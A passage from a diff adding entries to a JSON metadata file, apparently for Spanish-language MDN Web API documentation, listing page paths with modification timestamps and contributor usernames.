+  "Web/API/Node/isSameNode": {
+    "modified": "2019-03-23T22:49:05.364Z",
+    "contributors": [
+      "JordiCruells"
+    ]
+  },
+  "Web/API/Node/lastChild": {
+    "modified": "2020-10-15T21:55:48.810Z",
+    "contributors": [
+      "fscholz",
+      "AlePerez92",
+      "tureey"
+    ]
+  },
+  "Web/API/Node/namespaceURI": {
+    "modified": "2019-03-23T22:08:52.990Z",
+    "contributors": [
+      "tureey"
+    ]
+  },
+  "Web/API/Node/nextSibling": {
+    "modified": "2020-10-15T21:27:47.909Z",
+    "contributors": [
+      "wbamberg",
+      "AlePerez92",
+      "fscholz",
+      "Alexis88"
+    ]
+  },
+  "Web/API/Node/nodeName": {
+    "modified": "2019-03-23T23:50:40.382Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "Hasilt",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Node/nodeType": {
+    "modified": "2019-03-23T22:58:04.685Z",
+    "contributors": [
+      "minrock"
+    ]
+  },
+  "Web/API/Node/nodeValue": {
+    "modified": "2019-08-30T02:00:09.176Z",
+    "contributors": [
+      "Jamel-Seyek",
+      "tureey"
+    ]
+  },
+  "Web/API/Node/nodoPrincipal": {
+    "modified": "2019-03-23T22:08:57.260Z",
+    "contributors": [
+      "tureey"
+    ]
+  },
+  "Web/API/Node/ownerDocument": {
+    "modified": "2019-10-09T11:24:36.349Z",
+    "contributors": [
+      "ogallagher",
+      "tureey"
+    ]
+  },
+  "Web/API/Node/parentNode": {
+    "modified": "2019-03-23T22:08:56.619Z",
+    "contributors": [
+      "IsmaOrdas",
+      "tureey"
+    ]
+  },
+  "Web/API/Node/previousSibling": {
+    "modified": "2020-10-15T22:05:25.453Z",
+    "contributors": [
+      "wbamberg",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Node/removeChild": {
+    "modified": "2019-03-23T22:51:59.032Z",
+    "contributors": [
+      "IsaacAaron",
+      "jcmunioz"
+    ]
+  },
+  "Web/API/Node/replaceChild": {
+    "modified": "2019-03-23T22:46:30.428Z",
+    "contributors": [
+      "pakitometal"
+    ]
+  },
+  "Web/API/Node/textContent": {
+    "modified": "2020-10-15T21:21:16.429Z",
+    "contributors": [
+      "yohanolmedo",
+      "AlePerez92",
+      "IsaacAaron",
+      "fscholz",
+      "another_sam"
+    ]
+  },
+  "Web/API/NodeList": {
+    "modified": "2020-10-15T22:00:48.268Z",
+    "contributors": [
+      "AlePerez92",
+      "padrecedano"
+    ]
+  },
+  "Web/API/NodeList/forEach": {
+    "modified": "2020-10-15T22:08:20.485Z",
+    "contributors": [
+      "SphinxKnight",
+      "InfaSysKey",
+      "jesumv"
+    ]
+  },
+  "Web/API/NonDocumentTypeChildNode": {
+    "modified": "2019-03-23T22:32:46.517Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/NonDocumentTypeChildNode/nextElementSibling": {
+    "modified": "2020-10-15T21:46:25.502Z",
+    "contributors": [
+      "AlePerez92",
+      "Grijander81"
+    ]
+  },
+  "Web/API/NonDocumentTypeChildNode/previousElementSibling": {
+    "modified": "2019-03-23T22:32:40.718Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Notifications_API": {
+    "modified": "2019-03-23T22:07:39.198Z",
+    "contributors": [
+      "david_ross"
+    ]
+  },
+  "Web/API/Notifications_API/Usando_la_API_de_Notificaciones": {
+    "modified": "2020-04-11T06:35:05.696Z",
+    "contributors": [
+      "davidelx",
+      "IXTRUnai"
+    ]
+  },
+  "Web/API/ParentNode": {
+    "modified": "2019-03-23T22:43:20.773Z",
+    "contributors": [
+      "Sebastianz"
+    ]
+  },
+  "Web/API/ParentNode/append": {
+    "modified": "2020-10-15T22:24:28.452Z",
+    "contributors": [
+      "Kyuoraku"
+    ]
+  },
+  "Web/API/ParentNode/childElementCount": {
+    "modified": "2019-03-23T22:43:24.721Z",
+    "contributors": [
+      "joselix"
+    ]
+  },
+  "Web/API/ParentNode/children": {
+    "modified": "2019-03-23T22:32:44.383Z",
+    "contributors": [
+      "AlePerez92",
+      "aeroxmotion",
+      "Grijander81"
+    ]
+  },
+  "Web/API/ParentNode/firstElementChild": {
+    "modified": "2019-03-23T22:32:44.779Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/ParentNode/lastElementChild": {
+    "modified": "2019-03-23T22:32:39.974Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Payment_Request_API": {
+    "modified": "2020-10-15T22:33:12.666Z",
+    "contributors": [
+      "cjguajardo"
+    ]
+  },
+  "Web/API/Performance": {
+    "modified": "2020-10-15T21:53:40.885Z",
+    "contributors": [
+      "wachunei",
+      "juanarbol",
+      "fscholz",
+      "jpmedley"
+    ]
+  },
+  "Web/API/Performance/clearMarks": {
+    "modified": "2020-10-15T22:22:33.810Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Performance/clearMeasures": {
+    "modified": "2020-10-15T22:22:45.763Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Performance/memory": {
+    "modified": "2020-10-15T22:22:31.707Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Performance/navigation": {
+    "modified": "2020-10-15T22:22:32.714Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Performance/now": {
+    "modified": "2019-03-23T22:13:15.954Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Performance/timeOrigin": {
+    "modified": "2020-10-15T22:22:32.944Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Performance/timing": {
+    "modified": "2020-10-15T22:22:30.788Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/PerformanceNavigation": {
+    "modified": "2020-10-15T22:22:46.223Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/PositionOptions": {
+    "modified": "2019-03-23T23:16:28.831Z",
+    "contributors": [
+      "fscholz",
+      "LeoHirsch",
+      "lupomontero"
+    ]
+  },
+  "Web/API/PushManager": {
+    "modified": "2019-03-23T22:40:00.540Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/PushManager/permissionState": {
+    "modified": "2019-03-23T22:39:59.979Z",
+    "contributors": [
+      "maedca"
+    ]
+  },
+  "Web/API/PushManager/supportedContentEncodings": {
+    "modified": "2020-10-15T22:03:55.545Z",
+    "contributors": [
+      "Erto"
+    ]
+  },
+  "Web/API/Push_API": {
+    "modified": "2019-03-23T22:44:48.332Z",
+    "contributors": [
+      "gimco",
+      "omar10594",
+      "Erto",
+      "FMRonin",
+      "YulianD",
+      "mautematico"
+    ]
+  },
+  "Web/API/Push_API/Using_the_Push_API": {
+    "modified": "2019-03-23T22:19:10.252Z",
+    "contributors": [
+      "YulianD"
+    ]
+  },
+  "Web/API/RTCPeerConnection": {
+    "modified": "2019-03-18T21:43:02.717Z",
+    "contributors": [
+      "jgalvezsoax",
+      "maomuriel"
+    ]
+  },
+  "Web/API/RTCPeerConnection/canTrickleIceCandidates": {
+    "modified": "2020-10-15T22:33:02.442Z",
+    "contributors": [
+      "JaderLuisDiaz"
+    ]
+  },
+  "Web/API/RTCRtpReceiver": {
+    "modified": "2020-10-15T22:27:25.068Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Web/API/RandomSource": {
+    "modified": "2019-03-23T22:25:15.548Z",
+    "contributors": [
+      "Jeremie"
+    ]
+  },
+  "Web/API/RandomSource/Obtenervaloresaleatorios": {
+    "modified": "2020-10-15T21:49:57.084Z",
+    "contributors": [
+      "hecmonter",
+      "joseluisq",
+      "julianmoji"
+    ]
+  },
+  "Web/API/Range": {
+    "modified": "2019-03-23T23:47:18.258Z",
+    "contributors": [
+      "wbamberg",
+      "maiky",
+      "fscholz",
+      "Markens",
+      "DR",
+      "Nathymig"
+    ]
+  },
+  "Web/API/Range/collapsed": {
+    "modified": "2019-03-23T23:47:00.550Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Range/commonAncestorContainer": {
+    "modified": "2019-03-23T23:53:54.038Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Range/getClientRects": {
+    "modified": "2019-03-23T22:10:01.541Z",
+    "contributors": [
+      "edhzsz"
+    ]
+  },
+  "Web/API/Range/intersectsNode": {
+    "modified": "2019-03-23T23:53:59.214Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Range/setStart": {
+    "modified": "2019-03-23T22:13:01.685Z",
+    "contributors": [
+      "Vincetroid"
+    ]
+  },
+  "Web/API/Request": {
+    "modified": "2020-10-15T22:02:13.323Z",
+    "contributors": [
+      "DiegoFT",
+      "fscholz"
+    ]
+  },
+  "Web/API/Request/headers": {
+    "modified": "2020-10-15T22:02:12.572Z",
+    "contributors": [
+      "carojaspaz"
+    ]
+  },
+  "Web/API/Response": {
+    "modified": "2020-11-13T19:18:52.099Z",
+    "contributors": [
+      "chux",
+      "kant",
+      "ignatius73",
+      "crrlos"
+    ]
+  },
+  "Web/API/Response/Response": {
+    "modified": "2020-10-15T22:15:43.532Z",
+    "contributors": [
+      "AzazelN28"
+    ]
+  },
+  "Web/API/Response/ok": {
+    "modified": "2020-10-15T22:22:31.771Z",
+    "contributors": [
+      "juanarbol"
+    ]
+  },
+  "Web/API/Response/status": {
+    "modified": "2020-10-15T22:24:09.432Z",
+    "contributors": [
+      "FDSoil"
+    ]
+  },
+  "Web/API/SVGPoint": {
+    "modified": "2019-03-23T23:03:09.725Z",
+    "contributors": [
+      "fscholz",
+      "hasAngel"
+    ]
+  },
+  "Web/API/Screen": {
+    "modified": "2019-10-10T16:45:22.609Z",
+    "contributors": [
+      "jazdian",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Selection": {
+    "modified": "2019-03-23T23:54:01.018Z",
+    "contributors": [
+      "CxRxExO",
+      "fscholz",
+      "DR",
+      "Juandavaus",
+      "Kroatan",
+      "Mgjbot",
+      "LaRy",
+      "Nathymig"
+    ]
+  },
+  "Web/API/Selection/addRange": {
+    "modified": "2019-03-23T23:46:53.374Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/anchorNode": {
+    "modified": "2019-03-23T23:46:46.912Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/anchorOffset": {
+    "modified": "2019-03-23T23:46:55.279Z",
+    "contributors": [
+      "fscholz",
+      "DR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Selection/collapse": {
+    "modified": "2019-03-23T23:46:57.541Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/collapseToEnd": {
+    "modified": "2019-03-23T23:47:01.187Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/collapseToStart": {
+    "modified": "2019-03-23T23:46:59.744Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/containsNode": {
+    "modified": "2019-03-23T23:46:51.997Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/deleteFromDocument": {
+    "modified": "2019-03-23T23:46:47.857Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/extend": {
+    "modified": "2019-03-23T23:46:54.795Z",
+    "contributors": [
+      "fscholz",
+      "DR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Selection/focusNode": {
+    "modified": "2019-03-23T23:46:46.574Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/focusOffset": {
+    "modified": "2019-03-23T23:46:54.969Z",
+    "contributors": [
+      "fscholz",
+      "DR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Selection/getRangeAt": {
+    "modified": "2019-03-23T23:46:55.195Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/isCollapsed": {
+    "modified": "2019-03-23T23:46:52.080Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/rangeCount": {
+    "modified": "2019-03-23T23:46:50.030Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/removeAllRanges": {
+    "modified": "2019-03-23T23:46:54.883Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/removeRange": {
+    "modified": "2019-03-23T23:46:55.069Z",
+    "contributors": [
+      "fscholz",
+      "DR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Selection/selectAllChildren": {
+    "modified": "2019-03-23T23:46:50.124Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Selection/toString": {
+    "modified": "2019-03-23T23:47:28.897Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/ServiceWorkerContainer": {
+    "modified": "2020-10-15T22:03:12.673Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/ServiceWorkerContainer/register": {
+    "modified": "2020-10-15T22:03:11.889Z",
+    "contributors": [
+      "LuisOlive",
+      "marc2684"
+    ]
+  },
+  "Web/API/ServiceWorkerRegistration": {
+    "modified": "2020-10-15T22:05:45.607Z",
+    "contributors": [
+      "ExE-Boss"
+    ]
+  },
+  "Web/API/Service_Worker_API": {
+    "modified": "2019-03-23T22:09:38.478Z",
+    "contributors": [
+      "Fedapamo",
+      "andrpueb",
+      "ibanlopez",
+      "eltioico",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Service_Worker_API/Using_Service_Workers": {
+    "modified": "2019-03-23T22:09:43.848Z",
+    "contributors": [
+      "JasonGlez",
+      "Vergara",
+      "GabrielSchlomo",
+      "Anibalismo",
+      "darioperez"
+    ]
+  },
+  "Web/API/Storage": {
+    "modified": "2019-03-23T22:37:04.835Z",
+    "contributors": [
+      "puma",
+      "Sebastianz"
+    ]
+  },
+  "Web/API/Storage/LocalStorage": {
+    "modified": "2020-07-20T09:10:56.525Z",
+    "contributors": [
+      "LucasMaciasAtala",
+      "moniqaveiga",
+      "Andresrodart",
+      "lsphantom"
+    ]
+  },
+  "Web/API/Storage/clear": {
+    "modified": "2019-03-23T22:26:00.358Z",
+    "contributors": [
+      "edwarfuentes97",
+      "theguitxo"
+    ]
+  },
+  "Web/API/Storage/getItem": {
+    "modified": "2019-03-23T22:33:04.286Z",
+    "contributors": [
+      "devconcept",
+      "aminguez"
+    ]
+  },
+  "Web/API/Storage/length": {
+    "modified": "2019-03-23T22:25:49.492Z",
+    "contributors": [
+      "Guitxo"
+    ]
+  },
+  "Web/API/Storage/removeItem": {
+    "modified": "2020-06-16T13:11:43.937Z",
+    "contributors": [
+      "jorgeCaster",
+      "aminguez"
+    ]
+  },
+  "Web/API/Storage/setItem": {
+    "modified": "2019-03-23T22:37:01.770Z",
+    "contributors": [
+      "aminguez",
+      "spideep"
+    ]
+  },
+  "Web/API/StorageManager": {
+    "modified": "2020-10-15T22:18:18.423Z"
+  },
+  "Web/API/StorageManager/estimate": {
+    "modified": "2020-10-15T22:18:17.461Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/StorageManager/persist": {
+    "modified": "2020-10-15T22:18:17.848Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/StorageManager/persisted": {
+    "modified": "2020-10-15T22:18:17.733Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/StyleSheet": {
+    "modified": "2019-03-18T21:12:49.649Z",
+    "contributors": [
+      "diegovinie",
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/disabled": {
+    "modified": "2019-03-23T23:58:08.612Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/href": {
+    "modified": "2019-03-23T23:58:07.932Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/media": {
+    "modified": "2019-03-23T23:58:05.417Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/ownerNode": {
+    "modified": "2019-03-23T23:58:23.239Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/parentStyleSheet": {
+    "modified": "2019-03-23T23:58:09.687Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/title": {
+    "modified": "2019-03-23T23:58:12.135Z",
+    "contributors": [
+      "fscholz",
+      "xuancanh",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/StyleSheet/type": {
+    "modified": "2019-03-23T23:58:05.312Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/SubtleCrypto": {
+    "modified": "2020-10-15T22:27:14.356Z",
+    "contributors": [
+      "joseluisq"
+    ]
+  },
+  "Web/API/SubtleCrypto/digest": {
+    "modified": "2020-10-15T22:27:30.018Z",
+    "contributors": [
+      "joseluisq"
+    ]
+  },
+  "Web/API/SubtleCrypto/encrypt": {
+    "modified": "2020-10-15T22:27:29.781Z",
+    "contributors": [
+      "joseluisq"
+    ]
+  },
+  "Web/API/TextTrack": {
+    "modified": "2020-10-15T22:33:08.345Z",
+    "contributors": [
+      "joeyparrish"
+    ]
+  },
+  "Web/API/TextTrack/cuechange_event": {
+    "modified": "2020-10-15T22:33:09.063Z",
+    "contributors": [
+      "Pablo-No"
+    ]
+  },
+  "Web/API/TouchEvent": {
+    "modified": "2019-03-23T22:32:05.809Z",
+    "contributors": [
+      "ulisestrujillo",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/UIEvent": {
+    "modified": "2019-03-23T23:01:34.700Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/UIEvent/pageX": {
+    "modified": "2019-03-23T23:12:56.756Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "Nathymig",
+      "Julgon"
+    ]
+  },
+  "Web/API/URL": {
+    "modified": "2019-03-23T22:19:12.735Z",
+    "contributors": [
+      "zayle",
+      "wstaelens"
+    ]
+  },
+  "Web/API/URL/Host": {
+    "modified": "2020-10-15T22:28:58.726Z",
+    "contributors": [
+      "diegovlopez587"
+    ]
+  },
+  "Web/API/URL/URL": {
+    "modified": "2020-10-15T22:21:36.171Z",
+    "contributors": [
+      "roberth_dev"
+    ]
+  },
+  "Web/API/URL/createObjectURL": {
+    "modified": "2019-03-23T22:19:19.805Z",
+    "contributors": [
+      "OrlandoDeJesusCuxinYama",
+      "isafrus5",
+      "AzazelN28"
+    ]
+  },
+  "Web/API/URL/port": {
+    "modified": "2020-10-15T22:21:35.297Z",
+    "contributors": [
+      "roberth_dev"
+    ]
+  },
+  "Web/API/URLSearchParams": {
+    "modified": "2019-03-23T22:08:25.598Z",
+    "contributors": [
+      "aliveghost04"
+    ]
+  },
+  "Web/API/URLSearchParams/URLSearchParams": {
+    "modified": "2020-10-15T22:28:05.327Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/API/WebGL_API": {
+    "modified": "2019-03-24T00:07:50.182Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial": {
+    "modified": "2019-03-23T22:48:50.519Z",
+    "contributors": [
+      "SphinxKnight",
+      "lrlimon",
+      "fscholz"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context": {
+    "modified": "2019-03-18T21:16:52.110Z",
+    "contributors": [
+      "Nekete",
+      "Erik12Ixec",
+      "WHK102",
+      "COBRILL4"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL": {
+    "modified": "2019-03-23T23:20:38.388Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "luziiann"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL": {
+    "modified": "2019-03-23T22:34:48.400Z",
+    "contributors": [
+      "pixelements"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL": {
+    "modified": "2019-03-23T23:06:04.656Z",
+    "contributors": [
+      "fcanellas",
+      "Pablo_Bangueses",
+      "CarlosLinares",
+      "Inheritech",
+      "CandelarioGomez",
+      "fscholz",
+      "joeljose",
+      "Jorge0309"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Objetos_3D_utilizando_WebGL": {
+    "modified": "2019-03-23T22:37:32.127Z",
+    "contributors": [
+      "asarch",
+      "Giovan"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL": {
+    "modified": "2020-05-29T05:02:06.384Z",
+    "contributors": [
+      "jmlocke1",
+      "Giovan"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Wtilizando_texturas_en_WebGL": {
+    "modified": "2019-03-23T22:15:44.225Z",
+    "contributors": [
+      "BubuAnabelas",
+      "marce_1994"
+    ]
+  },
+  "Web/API/WebRTC_API": {
+    "modified": "2020-05-01T03:28:58.714Z",
+    "contributors": [
+      "erito73",
+      "miguelsp"
+    ]
+  },
+  "Web/API/WebRTC_API/Protocols": {
+    "modified": "2020-05-01T03:41:11.993Z",
+    "contributors": [
+      "erito73",
+      "ValeriaRamos"
+    ]
+  },
+  "Web/API/WebSocket": {
+    "modified": "2019-03-18T20:53:48.099Z",
+    "contributors": [
+      "benja90",
+      "spachecojimenez",
+      "aranondo",
+      "dpineiden"
+    ]
+  },
+  "Web/API/WebSocket/close_event": {
+    "modified": "2019-03-23T21:59:50.486Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "FLAVIOALFA"
+    ]
+  },
+  "Web/API/WebSocket/onerror": {
+    "modified": "2020-10-15T22:13:54.439Z",
+    "contributors": [
+      "Bumxu"
+    ]
+  },
+  "Web/API/WebSockets_API": {
+    "modified": "2019-05-21T02:54:41.622Z",
+    "contributors": [
+      "SphinxKnight",
+      "tpb",
+      "petisocarambanal",
+      "CesarBustios",
+      "mserracaldentey"
+    ]
+  },
+  "Web/API/WebSockets_API/Escribiendo_servidor_WebSocket": {
+    "modified": "2019-05-21T02:54:42.354Z",
+    "contributors": [
+      "SphinxKnight",
+      "manueljrs",
+      "Yantup",
+      "jjmontes"
+    ]
+  },
+  "Web/API/WebSockets_API/Escribiendo_servidores_con_WebSocket": {
+    "modified": "2019-06-21T20:55:28.443Z",
+    "contributors": [
+      "alesalva",
+      "SphinxKnight",
+      "juanmanuelramallo",
+      "8manuel",
+      "llekn",
+      "jjmontes",
+      "augus1990"
+    ]
+  },
+  "Web/API/WebSockets_API/Writing_WebSocket_client_applications": {
+    "modified": "2019-05-21T02:54:42.026Z",
+    "contributors": [
+      "SphinxKnight",
+      "neopablix",
+      "jevvilla",
+      "jvilla8a",
+      "AzazelN28",
+      "Unbrained",
+      "gabryk",
+      "MauroEldritch",
+      "frankzen"
+    ]
+  },
+  "Web/API/WebVR_API": {
+    "modified": "2019-03-23T22:07:07.755Z",
+    "contributors": [
+      "Alphaeolo",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/WebVR_API/Using_the_WebVR_API": {
+    "modified": "2020-10-12T08:06:57.683Z",
+    "contributors": [
+      "SphinxKnight",
+      "MarioA19",
+      "geryescalier",
+      "karlalhdz"
+    ]
+  },
+  "Web/API/WebVTT_API": {
+    "modified": "2020-10-15T22:33:07.538Z",
+    "contributors": [
+      "Pablo-No"
+    ]
+  },
+  "Web/API/Web_Crypto_API": {
+    "modified": "2020-02-12T20:20:09.829Z",
+    "contributors": [
+      "joseluisq",
+      "anfuca",
+      "haxdai"
+    ]
+  },
+  "Web/API/Web_Crypto_API/Checking_authenticity_with_password": {
+    "modified": "2019-03-23T22:10:43.026Z",
+    "contributors": [
+      "haxdai"
+    ]
+  },
+  "Web/API/Web_Speech_API": {
+    "modified": "2020-10-15T22:29:46.339Z",
+    "contributors": [
+      "dianarryanti707"
+    ]
+  },
+  "Web/API/Web_Speech_API/Uso_de_la_Web_Speech_API": {
+    "modified": "2020-05-10T18:32:28.954Z",
+    "contributors": [
+      "mcarou"
+    ]
+  },
+  "Web/API/Web_Workers_API": {
+    "modified": "2020-04-14T23:36:47.242Z",
+    "contributors": [
+      "krebking",
+      "thepianist2",
+      "jsanmor"
+    ]
+  },
+  "Web/API/WheelEvent": {
+    "modified": "2019-03-23T22:40:53.687Z",
+    "contributors": [
+      "StripTM"
+    ]
+  },
+  "Web/API/WheelEvent/deltaY": {
+    "modified": "2019-03-23T22:26:41.848Z",
+    "contributors": [
+      "Thargelion"
+    ]
+  },
+  "Web/API/Window": {
+    "modified": "2020-08-14T20:26:23.156Z",
+    "contributors": [
+      "Enesimus",
+      "Michelangeur",
+      "antoiba86",
+      "jjoselon",
+      "vggallego",
+      "fscholz",
+      "Crash",
+      "Monty",
+      "Markens",
+      "DR",
+      "Nathymig",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Window/URL": {
+    "modified": "2019-03-23T22:38:17.598Z",
+    "contributors": [
+      "israelfl"
+    ]
+  },
+  "Web/API/Window/alert": {
+    "modified": "2019-03-23T22:27:29.008Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/API/Window/applicationCache": {
+    "modified": "2019-03-23T23:52:56.666Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "AshfaqHossain",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Window/cancelAnimationFrame": {
+    "modified": "2019-03-23T22:30:46.211Z",
+    "contributors": [
+      "khrizenriquez"
+    ]
+  },
+  "Web/API/Window/close": {
+    "modified": "2020-10-15T21:37:07.614Z",
+    "contributors": [
+      "SphinxKnight",
+      "dgrizzla",
+      "Siro_Diaz"
+    ]
+  },
+  "Web/API/Window/closed": {
+    "modified": "2019-03-18T20:59:11.710Z",
+    "contributors": [
+      "SphinxKnight",
+      "developingo"
+    ]
+  },
+  "Web/API/Window/confirm": {
+    "modified": "2019-03-23T22:45:47.266Z",
+    "contributors": [
+      "julian3xl"
+    ]
+  },
+  "Web/API/Window/crypto": {
+    "modified": "2020-02-12T20:26:38.795Z",
+    "contributors": [
+      "joseluisq",
+      "AlePerez92",
+      "victorjavierss"
+    ]
+  },
+  "Web/API/Window/devicePixelRatio": {
+    "modified": "2019-03-23T22:33:20.853Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/dialogArguments": {
+    "modified": "2019-03-23T22:33:21.065Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/document": {
+    "modified": "2019-03-18T21:17:09.045Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/frameElement": {
+    "modified": "2019-03-23T22:33:19.039Z",
+    "contributors": [
+      "edmon1024",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/fullScreen": {
+    "modified": "2019-03-23T23:50:19.968Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Window/getComputedStyle": {
+    "modified": "2019-03-23T23:58:07.622Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Window/getSelection": {
+    "modified": "2019-09-18T11:51:48.070Z",
+    "contributors": [
+      "AlePerez92",
+      "LittleSanti",
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Window/hashchange_event": {
+    "modified": "2019-04-01T11:56:33.015Z",
+    "contributors": [
+      "fscholz",
+      "ExE-Boss",
+      "jorgerenteral"
+    ]
+  },
+  "Web/API/Window/history": {
+    "modified": "2020-10-15T21:43:45.922Z",
+    "contributors": [
+      "SphinxKnight",
+      "khrizenriquez"
+    ]
+  },
+  "Web/API/Window/innerHeight": {
+    "modified": "2020-07-23T18:50:37.998Z",
+    "contributors": [
+      "dongerardor",
+      "alfredoWs"
+    ]
+  },
+  "Web/API/Window/localStorage": {
+    "modified": "2019-06-04T06:54:12.078Z",
+    "contributors": [
+      "taumartin",
+      "nazarioa",
+      "McSonk",
+      "faliure",
+      "tinchosrok",
+      "DragShot",
+      "ianaya89"
+    ]
+  },
+  "Web/API/Window/location": {
+    "modified": "2019-03-23T22:52:04.798Z",
+    "contributors": [
+      "khrizenriquez",
+      "MaFranceschi"
+    ]
+  },
+  "Web/API/Window/locationbar": {
+    "modified": "2019-03-23T22:16:35.650Z",
+    "contributors": [
+      "ivannieto"
+    ]
+  },
+  "Web/API/Window/matchMedia": {
+    "modified": "2020-10-15T21:54:30.059Z",
+    "contributors": [
+      "AlePerez92",
+      "tipoqueno",
+      "tavo379"
+    ]
+  },
+  "Web/API/Window/menubar": {
+    "modified": "2019-03-23T22:33:13.331Z",
+    "contributors": [
